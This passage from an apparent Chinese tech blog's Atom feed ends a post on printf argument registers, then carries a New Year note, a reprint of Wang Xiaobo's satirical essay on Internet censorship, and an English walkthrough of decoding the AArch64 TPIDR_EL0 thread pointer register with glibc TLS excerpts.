&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            ptr &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;const&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;the_arg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                                      \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                                                                              \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而&lt;code&gt;va_arg&lt;&#x2F;code&gt;总是按照这个宏里指定的类型提取参数。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;说到这，上面两个问题的答案都明确了：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;前两次调用&lt;code&gt;printf&lt;&#x2F;code&gt;时，&lt;code&gt;%d&lt;&#x2F;code&gt;和&lt;code&gt;%f&lt;&#x2F;code&gt;分别从&lt;code&gt;rdi&lt;&#x2F;code&gt;和&lt;code&gt;xmm0&lt;&#x2F;code&gt;中取参数，使用的索引是两套体系，因此无论传入参数顺序如何变化，都不影响取值顺序。&lt;&#x2F;li&gt;
&lt;li&gt;后两次调用&lt;code&gt;prinf&lt;&#x2F;code&gt;时，需要从&lt;code&gt;rdi&lt;&#x2F;code&gt;和&lt;code&gt;rsi&lt;&#x2F;code&gt;中取值，&lt;code&gt;rdi&lt;&#x2F;code&gt;为之前设定的值，但&lt;code&gt;rsi&lt;&#x2F;code&gt;没有被特定赋值过，因此无法确定这个值。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;尝试更改编译参数加入&lt;code&gt;-Wall&lt;&#x2F;code&gt;，会发现出现了编译警告。此外，类似的问题在ARM64等其他平台下仍然存在，可以自行检索查询。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>2018 新年感言</title>
        <published>2018-02-17T00:00:00+00:00</published>
        <updated>2018-02-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/new-year-2018-1/"/>
        <id>https://blog.iret.xyz/posts/new-year-2018-1/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/new-year-2018-1/">&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;new-year-2018-1&#x2F;.&#x2F;cixrkw4a001hjb75nargf7hx4.1200.jpg&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&#x2F;&#x2F;From: 年轻真好啊 真是青春啊 &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;as.bitinn.net&#x2F;&quot;&gt;https:&#x2F;&#x2F;as.bitinn.net&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>王小波：从Internet说起</title>
        <published>2017-11-29T00:00:00+00:00</published>
        <updated>2017-11-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/talk-from-internet-wxb/"/>
        <id>https://blog.iret.xyz/posts/talk-from-internet-wxb/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/talk-from-internet-wxb/">&lt;blockquote&gt;
&lt;p&gt;作者：王小波&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我的电脑还没连网，也想过要和Internet连上。据说，网上黄毒泛滥，还有些反动的东西在传播，这些说法把我吓住了。前些时候有人建议对网络加以限制，我很赞成。说实在的，哪能容许信息自由的传播。但假如我对这件事还有点了解，我要说：除了一剪子剪掉，没有什么限制的方法。那东西太快，太邪门了。现代社会信息爆炸，想要审查太困难，不如禁止方便。假如我作生意，或者搞科技，没有网络会有些困难。但我何必为商人、工程师们操心？在信息高速网上，海量的信息在流动。但是我，一个爬格子的，不知道它们也能行。所以，把Internet剪掉罢，省得我听了心烦。&lt;&#x2F;p&gt;
&lt;p&gt;Internet是传输信息的工具。还有处理信息的工具，就是各种个人电脑。你想想看，没有电脑，有网也接不上。再说，磁盘、光盘也足以贩黄。必须禁掉电脑，这才是治本。这回我可有点舍不得——大约十年前，我就买了一台个人电脑。到现在换到了第五台。花钱不说，还下了很多工夫，现在用的软件都是我自己写的。我用它写文章，做科学工作：算题，做统计——顺便说一句，用电脑来作统计是种幸福，没有电脑，统计工作是种巨大的痛苦。&lt;&#x2F;p&gt;
&lt;p&gt;但是它不学好，贩起黄毒来了，这可是它自己作死，别人救不了它。看在十年老交情上，我为它说几句好话：早期的电脑是无害的。那种空调机似的庞然大物算起题来嘎嘎做响，没有能力演示黄毒。后来的486、586才是有罪的：这些机器硬件能力突飞猛进，既能干好事，也能干坏事，把它禁了吧……但现在要买过时的电脑，不一定能买到。为此，可以要求IBM给我们重开生产线，制造早期的PC机。洋鬼子听了瞪眼，说：你们是不是有毛病？回答应该是：我们没毛病，你才有毛病——但要防止他把我们的商务代表送进疯人院。当然，如果决定了禁掉一切电脑，我也能对付。我可以用纸笔写作，要算统计时就打算盘。不会打算盘的可以拣冰棍棍儿计数——满地拣棍儿是有点难看，但是——谢天谢地，我现在很少作统计了。&lt;&#x2F;p&gt;
&lt;p&gt;除了电脑，电影电视也在散布不良信息。在这方面，我的态度是坚定的：我赞成严加管理。首先，外国的影视作品与国情不符，应该通通禁掉。其次，国内的影视从业人员良莠不齐，做出的作品也多有不好的……我是写小说的，与影视无缘，只不过是挣点小钱。王朔、冯小刚，还有大批的影星们，学历都不如我，搞出的东西我也看不入眼。但他们可都发大财了。应该严格审查——话又说回来，把Internet上的通讯逐贞看过才放行，这是办不到的；一百二十集的连续剧从头看到尾也不大容易。倒不如通通禁掉算了。&lt;&#x2F;p&gt;
&lt;p&gt;文化大革命十年，只看八个样板戏不也活过来了嘛。我可不像年轻人，声、光、电、影一样都少不了。我有本书看看就行了。说来说去，我把流行音乐漏掉了。这种乌七八糟的东西，应该首先禁掉。年轻人没有事，可以多搞些体育锻炼，既陶冶了性情，又锻炼了身体……这样禁来禁去，总有一天禁到我身上。我的小说内容健康，但让我逐行说明每一句都是良好的信息，我也做不到。再说，到那时我已经吓傻了，哪有精神给自己辩护。电影电视都能禁，为什么不能禁小说？我们爱读书，还有不识字的人呢，他们准赞成禁书。好吧，我不写作了，到车站上去扛大包。我的身体很好，能当搬运工。别的作家未必扛得动大包……我赞成对生活空间加以压缩，只要压不到我；但压来压去，结果却出乎我的想像。&lt;&#x2F;p&gt;
&lt;p&gt;海明威在《钟为谁鸣》说过这个意思：所有的人是一个整体，别人的不幸就是你的不幸。所以，不要问丧钟是为谁而鸣——它就是为你而鸣。但这个想法我觉得陌生，我就盼着别人倒霉。五十多年前，有个德国的新教牧师说：起初，他们抓共产党员，我不说话，因为我不是工会会员；后来，他们抓犹太人，我不说话，因为我是亚利安人。後来他们抓天主教徒，我不说话，因为我是新教徒……最后他们来抓我，已经没人能为我说话了。众所周知，这里不是纳粹德国，我也不是新教牧师。所以，这些话我也不想记住。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>Thread Pointer&#x2F;ID Register in AArch64</title>
        <published>2017-11-27T00:00:00+00:00</published>
        <updated>2017-11-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/thread-pointer-aarch64/"/>
        <id>https://blog.iret.xyz/posts/thread-pointer-aarch64/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/thread-pointer-aarch64/">&lt;h2 id=&quot;problem&quot;&gt;Problem&lt;&#x2F;h2&gt;
&lt;p&gt;Sometimes when disassembling some AArch64 programs, we can find some interestring pseudocode:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F; unsigned __int64 v1; &#x2F;&#x2F;x19&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;v1 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; _ReadStatusReg&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;ARM64_SYSREG&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And we can see those code in the disassemble window:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;MRS             X19, #3, c13, c0, #2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;what-is-mrs&quot;&gt;What is &lt;code&gt;MRS&lt;&#x2F;code&gt;?&lt;&#x2F;h2&gt;
&lt;p&gt;You can certainly skip this section if you really know AArch64.&lt;&#x2F;p&gt;
&lt;p&gt;Let&#x27;s search it in the ARM v8 instruction set manual. The first thing we need to check is &lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;infocenter.arm.com&#x2F;help&#x2F;topic&#x2F;com.arm.doc.den0024a&#x2F;ch06s05s02.html&quot;&gt;6.5.2. system register access&lt;&#x2F;a&gt;. It told us &lt;code&gt;MRS&lt;&#x2F;code&gt; can copy the value of a &lt;em&gt;system register&lt;&#x2F;em&gt;, which is &quot;socalled SYSREG&quot;, into a GPR.&lt;&#x2F;p&gt;
&lt;p&gt;And in &lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;infocenter.arm.com&#x2F;help&#x2F;topic&#x2F;com.arm.doc.den0024a&#x2F;BABGBFBF.html&quot;&gt;chapter 4.3. System registers&lt;&#x2F;a&gt;, we can find out here the &lt;code&gt;ARM64_SYSREG&lt;&#x2F;code&gt; is used to represent the name of a system register. In table 4.5, you can find a lot of those registers. However, only names of the register is listed, so we need to know how to translate arguments into the register name.&lt;&#x2F;p&gt;
&lt;p&gt;The manual told us that we need to read &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;developer.arm.com&#x2F;docs&#x2F;ddi0487&#x2F;latest&#x2F;arm-architecture-reference-manual-armv8-for-armv8-a-architecture-profile&quot;&gt;Appendix J of the &lt;em&gt;ARM Architecture Reference Manual - ARMv8, for ARMv8-A architecture profile&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;, which is a large file and you may want to save it just in case. However in &lt;em&gt;Table K12-5 Alphabetical index of AArch64 Registers&lt;&#x2F;em&gt; at page K12-6427, those registers are still listed in name.&lt;&#x2F;p&gt;
&lt;p&gt;So let&#x27;s go to the &lt;em&gt;C6.2.162&lt;&#x2F;em&gt; in page &lt;em&gt;C6-781&lt;&#x2F;em&gt;, which described how the &lt;code&gt;MRS&lt;&#x2F;code&gt; is formatted:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;System variant&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  MRS &amp;lt;Xt&amp;gt;, (&amp;lt;systemreg&amp;gt;|S&amp;lt;op0&amp;gt;_&amp;lt;op1&amp;gt;_&amp;lt;Cn&amp;gt;_&amp;lt;Cm&amp;gt;_&amp;lt;op2&amp;gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It also said the operand shoud have 6 insns, not 5 in IDA. So let&#x27;s take this instruciton out and it seems like that:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;|   D5   |   3B      |     D0  |    53   |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;|11010101|00 1 11 011|1101 0000|010 10011|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;|  OPCode   |L|o0|op1|CRn |CRm |op2| Rt  |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;==&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;op0 = 3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;op1 = 3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;op2 = 2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;CRn = 13&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;CRm = 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Rt  = 19&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which seems pretty related to the pseudocode. So now we can go to &lt;em&gt;Chapter D9 AArch64 System Register Encoding&lt;&#x2F;em&gt; to decode it. After you have thoroughly read this section, you can know this instruction actually means &quot;accessing non-debug system register &lt;code&gt;TPIDR_EL0&lt;&#x2F;code&gt; with &lt;code&gt;RW&lt;&#x2F;code&gt; access and save it to &lt;code&gt;X19&lt;&#x2F;code&gt;. The full name of &lt;code&gt;TPIDR_EL0&lt;&#x2F;code&gt; is &quot;EL0 Read&#x2F;Write Software Thread ID Register&quot;. According to the manual, this register is providing a location where EL0 software can store thread identifying information for management proposes. Sounds like a TLS register.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;so-how-it-worked&quot;&gt;So how it worked&lt;&#x2F;h2&gt;
&lt;p&gt;You may know something about system register now. Actually there is a tool on &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;gdelugre&#x2F;ida-arm-system-highlight&quot;&gt;Github&lt;&#x2F;a&gt; which is really helpful to get those info. However, it is still a problem if you want to know what excatly it represents in a running system.&lt;&#x2F;p&gt;
&lt;p&gt;TLS, stands for &quot;Thread-Local Storage&quot;, is a way to share data between different threads in one program. We all know global vars can be shared in the whole program, however in a multi-thread program, each thread have its own private address space, thus unable to access other thread&#x27;s memory. TLS is introduced to make some thing, like object ref counter, can be shared between different threads. This is done by allocate a memory space accessible by all threads, and give its pointer to each threads. Windows under x86 implemented it by using &lt;code&gt;PEB&lt;&#x2F;code&gt;, and Linux used &lt;code&gt;TPIDR_EL0&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The initialization of TLS relies on both compiler and runtime library, which can be found in &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.fsfla.org&#x2F;~lxoliva&#x2F;writeups&#x2F;TLS&#x2F;paper-lk2006.pdf&quot;&gt;this paper by G.O.Costa and A.Oliva&lt;&#x2F;a&gt;. Those things can also be found in the source code. In &lt;code&gt;glibc&#x2F;sysdeps&#x2F;aarch64&#x2F;nptl&#x2F;tls.h:83&lt;&#x2F;code&gt; we can find a macro:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;* Code to initially initialize the thread pointer.  This might need&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;   special attention since &amp;#39;errno&amp;#39; is not yet available and if the&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;   operation can cause a failure &amp;#39;errno&amp;#39; must not be touched.  *&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;# define&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; TLS_INIT_TP&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;tcbp&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  ({ __asm &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;__volatile&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;msr tpidr_el0, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D95757;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;0&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; : : &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;r&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; (tcbp))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; NULL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; })&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And in &lt;code&gt;glibc&#x2F;csu&#x2F;libc-tls.c:__libc_setup_tls(void):185&lt;&#x2F;code&gt;, which is called pretty early at &lt;code&gt;libc_start_main&lt;&#x2F;code&gt;,  you can find the following initialization process:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;  &#x2F;* Initialize the thread pointer.  *&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;#if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; TLS_TCB_AT_TP&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;  INSTALL_DTV&lt;&#x2F;span&gt;&lt;span&gt; ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt;) tlsblock &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt; tcb_offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; _dl_static_dtv)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt;lossage &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; TLS_INIT_TP&lt;&#x2F;span&gt;&lt;span&gt; ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt;) tlsblock &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt; tcb_offset)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;#elif&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; TLS_DTV_AT_TP&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;  INSTALL_DTV&lt;&#x2F;span&gt;&lt;span&gt; (tlsblock&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; _dl_static_dtv)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt;lossage &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; TLS_INIT_TP&lt;&#x2F;span&gt;&lt;span&gt; (tlsblock)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;#else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;# error&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Either TLS_TCB_AT_TP or TLS_DTV_AT_TP must be defined&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;#endif&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;__builtin_expect&lt;&#x2F;span&gt;&lt;span&gt; (lossage &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; NULL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;    _startup_fatal&lt;&#x2F;span&gt;&lt;span&gt; (lossage)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;However, in real world, this job is finished by &lt;code&gt;ld.so&lt;&#x2F;code&gt;, the loader. You can find it in &lt;code&gt;glibc&#x2F;elf&#x2F;rtld.c&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;* 1797 *&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;  bool&lt;&#x2F;span&gt;&lt;span&gt; was_tls_init_tp_called &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; tls_init_tp_called&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;* 1798 *&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  if&lt;&#x2F;span&gt;&lt;span&gt; (tcbp &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; NULL&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;* 1799 *&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;    tcbp &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; init_tls&lt;&#x2F;span&gt;&lt;span&gt; ()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;*                                    .........                              *&#x2F;&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;* 2210 *&#x2F;  &#x2F;* Now that we have completed relocation, the initializer data&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
